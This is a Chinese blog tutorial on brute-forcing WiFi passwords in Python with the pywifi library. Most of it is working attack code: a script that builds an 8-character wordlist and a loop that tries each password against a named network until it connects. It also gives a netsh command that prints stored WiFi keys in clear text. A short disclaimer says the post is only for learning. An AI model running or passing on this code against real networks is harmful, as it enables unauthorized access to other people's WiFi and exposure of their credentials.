python编程实战(三):暴力破解WIFI密码!亲测运行有效!

约彩365app官网下载安装 📅 2025-09-16 10:44:32 ✍️ admin 👁️ 6509 ❤️ 574
python编程实战(三):暴力破解WIFI密码!亲测运行有效!

本文非原创,参考:Python破解WIFI密码详细介绍

对于代码有细微修改;

增加注意事项介绍;

声明:本文只是从技术的角度来阐述学习Pywifi库!

并不建议大家做任何破坏性的操作和任何不当的行为!

并不建议大家做任何破坏性的操作和任何不当的行为!

python编程实战:暴力破解WIFI密码

1、破解wifi密码的流程2、实现【注意事项】

3、题外话:查看电脑已连接的 WIFI 密码

1、破解wifi密码的流程

① 生成数字组合的密码本(复杂的就是大小写字母和数字组合)

密码本生成需要时间,文末已给纯数字密码本~

② 通过 使用 pywifi 模块,根据密码本暴力破解 (时间未知,仅提供思路)

2、实现

① 先安装 pywifi

1,win+r, 然后输入cmd

2,pip install pywifi

② 生成密码本(有密码本直接第三步)

代码:

import itertools as its

import datetime

# 记录程序运行时间

start = datetime.datetime.now()

words = '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM' # 大小写字母 + 数字 组合

# words = '0123456789' # 纯数字

# 生成密码的位数

r = its.product(words, repeat=8) # 即生成8位密码,正常情况下热点密码位数为8

dic = open(r"C:\Users\Administrator\Desktop\alphabetPass.txt", 'a') # alphabetPass.txt 是密码本名称

for i in r:

dic.write(''.join(i))

dic.write(''.join('\n'))

print(i)

dic.close()

print('密码本生成好了')

end = datetime.datetime.now()

print("生成密码本一共用了多长时间:{}".format(end - start))

效果:

③ 穷举密码

代码:

注意修改对应wifi 名称

# coding:utf-8

import pywifi

from pywifi import const

import time

import datetime

# 测试连接,返回链接结果

def wifiConnect(pwd):

# 抓取网卡接口

wifi = pywifi.PyWiFi()

# 获取第一个无线网卡

ifaces = wifi.interfaces()[0]

# 断开所有连接

ifaces.disconnect()

time.sleep(1)

wifistatus = ifaces.status()

if wifistatus == const.IFACE_DISCONNECTED:

# 创建WiFi连接文件

profile = pywifi.Profile()

# 要连接WiFi的名称

profile.ssid = "CU_fb5g_2.4G"

# 网卡的开放状态

profile.auth = const.AUTH_ALG_OPEN

# wifi加密算法,一般wifi加密算法为wps

profile.akm.append(const.AKM_TYPE_WPA2PSK)

# 加密单元

profile.cipher = const.CIPHER_TYPE_CCMP

# 调用密码

profile.key = pwd

# 删除所有连接过的wifi文件

ifaces.remove_all_network_profiles()

# 设定新的连接文件

tep_profile = ifaces.add_network_profile(profile)

ifaces.connect(tep_profile)

# wifi连接时间

time.sleep(3)

if ifaces.status() == const.IFACE_CONNECTED:

return True

else:

return False

else:

print("已有wifi连接")

# 读取密码本

def readPassword():

print("开始破解:")

# 密码本路径

path = "C:\\Users\\Administrator\\Desktop\\numberPass.txt"

# 打开文件

file = open(path, "r")

while True:

try:

# 一行一行读取

pad = file.readline()

bool = wifiConnect(pad)

if bool:

print("密码已破解: ", pad)

print("WiFi已自动连接!!!")

break

else:

# 跳出当前循环,进行下一次循环

print("密码破解中....密码校对: ", pad)

except:

continue

start = datetime.datetime.now()

readPassword()

end = datetime.datetime.now()

print("破解WIFI密码一共用了多长时间:{}".format(end - start))

【注意事项】

一。可能会报错:ModuleNotFoundError: No module named 'comtypes

解决方法:

1.pycharm可能就直接提示了,自己留意查看,点击安装即可 2. 导入pywifi时,报错ModuleNotFoundError: No module named ‘comtypes’

二、

效果

时间可能很久很久! 但是操作还是可操作的!

就当一个参考思路吧!

3、题外话:查看电脑已连接的 WIFI 密码

① win+r, 然后输入cmd

② 输入命令:netsh wlan show profile name=“啦啦啦的iPhone” key=clear

蓝色字体啦啦啦的iPhone 是你正在连接的 WiFi 或者热点的名称,记得替换一下!

结果:00000000 就是我开的热点的密码

相关创意

淘宝催单技巧有哪些?什么方法最有效?
提莫熊猫皮肤怎么样
蒇工的意思
怎么才能当刑警,刑警怎么考什么条件可以报考
济南通讯城苹果6多少钱
岐阜提灯
用友公司电话地址,用友各分公司和授权代理商联系方式
国家的区号 +258 / 00258 / 011258 (国家地区代码)
Win7系统下载